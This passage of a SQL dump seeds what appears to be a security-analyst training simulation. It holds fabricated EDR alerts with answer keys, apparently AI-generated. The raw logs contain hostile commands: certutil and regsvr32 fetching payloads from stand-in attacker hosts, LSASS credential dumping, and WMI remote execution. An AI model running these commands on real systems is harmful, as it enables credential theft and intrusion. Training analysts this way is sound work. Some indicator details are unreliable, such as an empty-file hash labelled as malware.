1, 'TECH', NULL, NULL, NULL, 0),
(2104, 'Credential Dumping from LSASS Detected', 'high', 'SentinelOne', 'An attempt to dump credentials from the LSASS process was detected, indicating possible credential theft and lateral movement preparation.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"FINANCE-PC01\",\"command_line\":\"rundll32.exe dump_lsass.dll,Dump\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe dump_lsass.dll,Dump\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with credential dumping\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command to dump LSASS memory was executed, indicating an attempt to extract stored credentials.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2105, 'Lateral Movement via WMI Detected', 'high', 'Carbon Black', 'Suspicious internal WMI activity was detected, suggesting an attacker attempting lateral movement across the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:03:59Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.55\",\"dst_ip\":\"10.0.0.60\",\"username\":\"hacker\",\"hostname\":\"HR-WORKSTATION\",\"command_line\":\"wmic process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of WMI for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for executing commands on another host is indicative of lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2106, 'Malicious Use of LOLBins Detected with Regsvr32', 'critical', 'Sysmon', 'An attacker used regsvr32 to execute a remote script, indicating a potentially sophisticated attack leveraging LOLBins.', 'Malware', 'T1218.011', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:11:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"10.0.0.15\",\"username\":\"malicious_user\",\"hostname\":\"ENGINEERING-PC\",\"command_line\":\"regsvr32.exe /s /n /u /i:https://malicious.example.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:https://malicious.example.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to bypass security controls by executing a remote script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of regsvr32 to execute a remote script suggests a sophisticated attack leveraging living-off-the-land binaries.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2107, 'Unauthorized Internal WMI Execution Detected', 'high', 'Carbon Black', 'Unauthorized WMI commands were executed internally, possibly indicating an attempt for lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:55:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.45\",\"dst_ip\":\"10.0.2.50\",\"username\":\"unauthorized_user\",\"hostname\":\"RESEARCH-LAPTOP\",\"command_line\":\"wmic /node:10.0.2.50 process call create \'powershell -enc aGVsbG8gd29ybGQ=\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.50 process call create \'powershell -enc aGVsbG8gd29ybGQ=\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command via WMI for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Execution of encoded PowerShell commands via WMI indicates malicious lateral movement activity.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2108, 'Suspicious PowerShell Execution Detected on Internal Network', 'critical', 'CrowdStrike', 'A PowerShell script with encoded commands was executed from an internal host, indicating possible fileless malware activity. This script is known for credential dumping attempts.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC\",\"command_line\":\"powershell.exe -enc W3Bhc3N3b3JkXQ==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhc3N3b3JkXQ==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command is indicative of credential dumping activity, a common fileless malware tactic.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2109, 'Lateral Movement Detected via WMI Execution', 'high', 'SentinelOne', 'A WMI command was executed from one internal host to another, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.6\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"wmic /node:10.0.0.6 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source internal IP address used for WMI command\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.6 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI execution for lateral movement detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI usage for executing commands on another host is a common technique used in lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2110, 'Credential Dumping Attempt via LSASS Memory Access', 'critical', 'Carbon Black', 'Suspicious access to LSASS memory detected, potentially aimed at credential dumping using living-off-the-land techniques.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:10:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.25\",\"username\":\"svc_account\",\"hostname\":\"CORP-SERVER\",\"command_line\":\"procdump.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with LSASS memory access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"procdump.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used for dumping LSASS memory\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Dumping LSASS memory is a known technique for extracting credentials from Windows systems.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2111, 'Fileless Malware Execution via LOLBin - CertUtil', 'high', 'Sysmon', 'CertUtil.exe was used to download and execute a malicious payload, indicating a possible fileless malware attack using living-off-the-land techniques.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.2\",\"dst_ip\":\"external.attacker.com\",\"username\":\"user123\",\"hostname\":\"WORKSTATION-02\",\"command_line\":\"certutil.exe -urlcache -split -f http://external.attacker.com/malware.exe C:\\\\Users\\\\user123\\\\malware.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"external.attacker.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://external.attacker.com/malware.exe C:\\\\Users\\\\user123\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil used for downloading and executing malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"CertUtil is a known LOLBin used for downloading and executing malware without writing to disk.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2112, 'Regsvr32 Usage for Malicious Script Execution', 'critical', 'CrowdStrike', 'Regsvr32 was used to execute a remotely hosted script, indicating a possible fileless malware attack utilizing LOLBins.', 'Malware', 'T1218.011', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.100\",\"username\":\"malicious_user\",\"hostname\":\"TARGET-01\",\"command_line\":\"regsvr32.exe /s /n /u /i:http://malicious.site/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing suspicious commands\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"http://malicious.site/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known malicious domain hosting scripts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:http://malicious.site/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute remote script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 is a LOLBin that can be used to execute remote scripts without writing them to disk.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2113, 'Fileless Malware Detected via PowerShell Execution', 'critical', 'CrowdStrike', 'PowerShell executed with encoded payload, indicative of fileless malware. Credential dumping activity detected shortly after.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:34:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.10.10.20\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"powershell -enc W2J5dGVbXS5BZGQoW0NvbnZlcnQpJzEnLCdzJyk=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc W2J5dGVbXS5BZGQoW0NvbnZlcnQpJzEnLCdzJyk=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell command with encoded payload linked to fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are a common indicator of fileless malware.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2114, 'Suspicious Internal Network Activity via CertUtil', 'medium', 'Carbon Black', 'Unusual use of CertUtil detected from an internal host, appeared to download a file from a known internal server.', 'Lateral Movement', 'T1140', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"asmith\",\"hostname\":\"LAPTOP-4D5E6F\",\"command_line\":\"certutil -urlcache -split -f http://192.168.1.20/file.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for a benign user action\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil -urlcache -split -f http://192.168.1.20/file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"CertUtil usage for file download from a verified internal server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"CertUtil was used legitimately for internal file transfer.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2115, 'Potential Phishing Email Detected with Spoofed Domain', 'high', 'Proofpoint', 'Email received from a domain closely resembling a trusted partner, containing a link to a suspicious URL.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.56\",\"dst_ip\":\"192.168.1.25\",\"username\":\"rwhite\",\"hostname\":\"MAILSERVER-1\",\"email_sender\":\"admin@trustedpartn3r.com\",\"url\":\"http://malicious-link.example.com\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"admin@trustedpartn3r.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles trusted partner but is not recognized\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL not flagged by any engines as malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Upon investigation, the sender\'s domain was found to be a legitimate typo domain, but the URL was clean.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2116, 'Suspicious MSHTA Execution Blocked', 'medium', 'Sysmon', 'MSHTA executed a script from a local file which is typically associated with malicious actions, but the file was verified as internally developed.', 'Malware', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:23:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.50\",\"username\":\"bhall\",\"hostname\":\"SERVER-2\",\"command_line\":\"mshta C:\\\\scripts\\\\internal_tool.html\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta C:\\\\scripts\\\\internal_tool.html\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File identified as a legitimate internal tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The MSHTA execution was part of a maintenance script routinely used by IT.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2117, 'Regsvr32 Executed With Suspicious DLL', 'high', 'SentinelOne', 'Regsvr32 executed a DLL from a network share, resembling a typical LOLBin technique. The file was determined to be a legitimate update.', 'Lateral Movement', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:10:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.34\",\"dst_ip\":\"192.168.2.56\",\"username\":\"mjohnson\",\"hostname\":\"WORKSTATION-3\",\"command_line\":\"regsvr32 /s \\\\\\\\192.168.2.56\\\\updates\\\\update.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32 /s \\\\\\\\192.168.2.56\\\\updates\\\\update.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"The DLL was verified as part of an authorized update procedure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for a network share\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Regsvr32 execution was part of a routine update deployment from a trusted network share.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2118, 'Fileless PowerShell Malware Detected on Internal Network', 'critical', 'CrowdStrike', 'A sophisticated fileless malware attack was detected utilizing PowerShell scripts to execute malicious payloads directly in memory. The malware attempted to establish a multi-hop C2 channel through Slack.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.10.15.23\",\"dst_ip\":\"203.0.113.89\",\"username\":\"jdoe\",\"hostname\":\"workstation-12\",\"command_line\":\"powershell.exe -nop -w hidden -enc W3BhdGg6IFN5c3RlbS5JblJlZ2lzdHJ5U3RhdHVz\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"domain\":\"api.slack.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for suspicious C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc W3BhdGg6IFN5c3RlbS5JblJlZ2lzdHJ5U3RhdHVz\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known PowerShell obfuscation pattern associated with APT activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a known fileless malware variant\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"api.slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate Slack API domain\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"10.10.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of PowerShell execution with encoded commands and external C2 contact indicates a sophisticated fileless malware attack.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2119, 'Credential Dumping Attempt via LSASS Memory Access', 'high', 'SentinelOne', 'Detected an unauthorized access attempt to LSASS.exe memory, suggesting a credential dumping attempt using advanced techniques to evade detection.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.20.30.40\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Windows\\\\Temp\\\\dump.dmp full\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Windows\\\\Temp\\\\dump.dmp full\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command line pattern matches credential dumping techniques\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Empty file hash often used in memory-only attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of rundll32.exe to access LSASS memory is a known technique for credential dumping.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2120, 'Lateral Movement via WMI Detected', 'critical', 'Carbon Black', 'Detected suspicious WMI execution suggesting lateral movement attempts within the network, possibly indicating a coordinated attack.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:55:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.50.60.70\",\"dst_ip\":\"10.50.60.71\",\"username\":\"svc_account\",\"hostname\":\"workstation-08\",\"command_line\":\"wmic /node:10.50.60.71 process call create \\\"cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\whoami.txt\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.50.60.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the originating host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.50.60.71\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.50.60.71 process call create \\\"cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\whoami.txt\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command pattern associated with lateral movement techniques\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for remote command execution is indicative of lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2121, 'DGA Domain Detected in DNS Traffic', 'high', 'Sysmon', 'Detected DNS queries to a domain generated using Domain Generation Algorithm (DGA), commonly used by malware to evade detection and maintain C2 communication.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:09Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.75.80.85\",\"dst_ip\":\"198.51.100.47\",\"username\":\"network_user\",\"hostname\":\"laptop-05\",\"domain\":\"dkjf9sd8fkj.example\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.75.80.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the infected device\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"dkjf9sd8fkj.example\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain recognized as DGA-generated, part of a known botnet\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.47\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with command and control servers\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"DGA domains are a known indicator of botnet activity, used to maintain C2 communication by malware.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
